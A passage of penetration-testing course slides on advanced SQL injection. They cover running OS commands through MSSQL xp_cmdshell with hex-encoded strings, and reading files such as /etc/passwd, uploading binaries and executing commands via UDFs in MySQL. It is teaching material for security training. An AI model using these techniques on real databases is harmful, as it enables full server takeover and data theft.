create table temptable (id int not null identity (1,1), output
nvarchar(4096) null);--

The id column will help us to access different command outputs while


the output column will contain the actual command results.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Crafting the argument for xp_cmdshell

As you will see in the next step, we need to convert the command
string of the command we want to run into an ASCII
representation.

Let’s say that we want to run "dir c:\"

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• We have to convert every character to it HEX ASCII representation:
• 64 is the HEX code for "d"
• 69 is the HEX code for "i"
• 72 is the HEX code for "r"
• 20 is the HEX code for " "
• 63 is the HEX code for "c"
• 3a is the HEX code for ":"
• 5c is the HEX code for "\“

And then insert a double zero after every character of the string.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• The result is:

0x640069007200200063003a005c00

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Executing xp_cmdshell

Now, we have to instance a variable with the command string we


have just created, and then we pass it to xp_cmdshell

declare @t nvarchar(4096) set @t=0x640069007200200063003a005c00


insert into temptable (output) EXEC master.dbo.xp_cmdshell @t;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Reading the results

To read the results, you can use any of the data-dumping


techniques we saw before.

You can use the id field of the temptable table to choose which
command result you want to retrieve.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Final cleanup

After performing your tests, you have to delete the temporary


table:

DROP TABLE temptable;

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


MySQL is another DBMS which provides some advanced features.
A penetration can exploit them to get full access to a target server.

Most of the features we are going to see in a minute rely on the


FILE privilege that "gives you permission to read and write files
on the server host."

https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The FILE privileges can be granted to any MySQL user depending
on the web application needs. It is always granted to the MySQL
root user both on *nix systems and MS Windows incarnations.

This means that if an application connects to its database as root,


exploiting a SQL injection will lead not only to data compromise
but also to full server takeover.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


It is possible to read files by using the LOAD_FILE function:

SELECT LOAD_FILE('<text file path>');

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To read the binary file, you can use it together with the HEX
function:

SELECT HEX(LOAD_FILE('<text file path>'));

By using this method, you can convert any binary file to a long hex
string that you can use to steal any data from the server.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


It is also possible to parse the content of a file and tell MySQL how
to distinguish a record from another one:

Example:

CREATE TABLE temptable(output longtext);

LOAD DATA INFILE '/etc/passwd' INTO TABLE temptable FIELDS


TERMINATED BY '\n' (output);

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


The resulting table will look like this:
Example:

+--------------------------------------------------------------------------------+
| output |
+--------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash |
| daemon:x:1:1:daemon:/usr/sbin:/bin/sh |
| bin:x:2:2:bin:/bin:/bin/sh |
| sys:x:3:3:sys:/dev:/bin/sh |
| sync:x:4:65534:sync:/bin:/bin/sync |
| games:x:5:60:games:/usr/games:/bin/sh |
| . . . |
+--------------------------------------------------------------------------------+

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


By using the SELECT ... INTO DUMPFILE statement, you
can write to a file the result of a query; this can be used to
download huge query results via the web application and to
upload penetration tester supplied data to the server.

SELECT <fields> FROM <table> INTO DUMPFILE '<output file path>';

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To upload a binary file, you have to find a way to insert its content
into a table on the victim machine. You can then dump the table
content to a file on the server file system.

But, how can you load a binary file into a table via SQL injections?
You have to convert it into an hex-string.

And how can you do that?


By using MySQL!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To upload /bin/ls, you have to create a file on your local
machine and then load it into a table:

Example:

mysql> SELECT HEX(LOAD_FILE('/bin/ls')) INTO DUMPFILE '/tmp/ls.dmp';


Query OK, 1 row affected (0.00 sec)

mysql> LOAD DATA INFILE '/tmp/ls.dmp' INTO TABLE mytable FIELDS TERMINATED BY 'sOmErandOM'
LINES TERMINATED BY 'oTHerRnD' (data);
Query OK, 1 row affected (0.01 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 0

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


You can then test it by using INTO DUMPFILE to recreate the same
file:

mysql> SELECT UNHEX(data) FROM mytable INTO DUMPFILE '/tmp/ls.test';


Query OK, 1 row affected (0.00 sec)

And test it:


# sha256sum /tmp/ls.test /bin/ls
1e87d99599ddea2a93f060b50a54066e8b756d752158e6147cbb99b06eb11d99 /tmp/ls.test
1e87d99599ddea2a93f060b50a54066e8b756d752158e6147cbb99b06eb11d99 /bin/ls

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


If everything works as expected, you can upload the file content to
a table on the victim server.

You need to split the DUMPFILE you created into chunks of 1024
bytes and then insert them into a table field.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Example:

First, you have to perform an insert with the first chunk. Next, you
have to update the field by adding the other chunks.

INSERT INTO victimtable(field) VALUES(0x7F454C4602010100000...1B000);


...
UPDATE victimtable SET field=CONCAT(data,0x12000000...4C030000120);
...
UPDATE victimtable SET field=CONCAT(data,0x000000... 9030000);
...
UPDATE ...

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


• Finally, you can write the file on the target system by executing:

SELECT <victim field> FROM <victim table> WHERE <optional conditions> INTO
DUMPFILE '<output path>';

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Writing files is a great thing, but what about executing commands?
MySQL does not provide a function to run shell commands by
default, but it provides User Defined Functions (UDF).

By using UDFs, it is possible to create two functions:


• sys_eval(<command>) which returns the standard
output of the chosen command
• sys_exec(<command>) that returns the command exit
status
https://dev.mysql.com/doc/refman/5.7/en/adding-udf.html

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


To use those functions, you have to upload a shared object (SO) on
a *nix system or a dynamic-link library (DLL) on a Windows system
to the target server. Then, you can use them.

You can find the source code of those functions here. Moreover,
you can find the compiled versions on the SQLMap repository.

http://www.mysqludf.org/
https://github.com/sqlmapproject/sqlmap/tree/master/udf/mysql
Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
After uploading the files to the target system, running a command
is just a matter of performing a SELECT:

SELECT sys_eval('<command>');

SELECT sys_exec('<command>');

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


This can be easily accomplished by using the SQLMap takeover
features --os-cmd and --os-shell.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


In this chapter, we have seen how a skilled attacker can exploit
some advanced DBMS features to take SQL injections to the next
level.

Most modern DBMS offer some kind of file system routines or


system shell command interfaces; this poses a high security risk to
a DBMS serving an insecure web application!

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Web Application Penetration Testing 3.0 – Caendra Inc. © 2018
MSSQL Injection Cheat Sheet The Web Application Hacker's Handbook

http://pentestmonkey.net/cheat-sheet/sql- http://www.amazon.com/The-Web-Application-
injection/mssql-sql-injection-cheat-sheet Hackers-Handbook/dp/1118026470

Advanced SQL injection to operating


system control SQL Injection Attacks and Defense
https://members.elearnsecurity.com/course/resources/nam
http://www.amazon.com/Injection-Attacks-Defense-
e/wapt_v3_section_1_module_5_attachment_AppsecEU09-
Damele-A-G-Advanced-SQL-injection-slides
Second-Edition/dp/1597499633

Manipulating SQL Server using SQL


injection Introduction to SQL
https://members.elearnsecurity.com/course/resources/nam
e/wapt_v3_section_1_module_5_attachment_bu-win-03- http://www.w3schools.com/sql/sql_intro.asp
cerrudo-notes

SQL Server 2014 Master Database


on MSDN MySQL FILE privilege
https://msdn.microsoft.com/en- https://dev.mysql.com/doc/refman/5.1/en/privileges-
us/library/ms187837.aspx provided.html#priv_file

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


MySQL UDF MySQL UDF Repository
https://dev.mysql.com/doc/refman/5.7/en/adding-
http://www.mysqludf.org/
udf.html

MySQL UDF for sys_exec and sys_eval


https://github.com/sqlmapproject/sqlmap/tree/mast
er/udf/mysql

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


Exploiting In-Band SQL
Finding SQL Injections
Injections

Exploting Error-Based Exploting Blind SQL


SQL Injections Injections

SQL Injection Basics SQLMap Basics

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018


SQL Injections
In these SQL Injection labs, the student
can practice attacks techniques to discover
and exploit SQL Injections against different
DMBS and platforms.

Web Application Penetration Testing 3.0 – Caendra Inc. © 2018

You might also like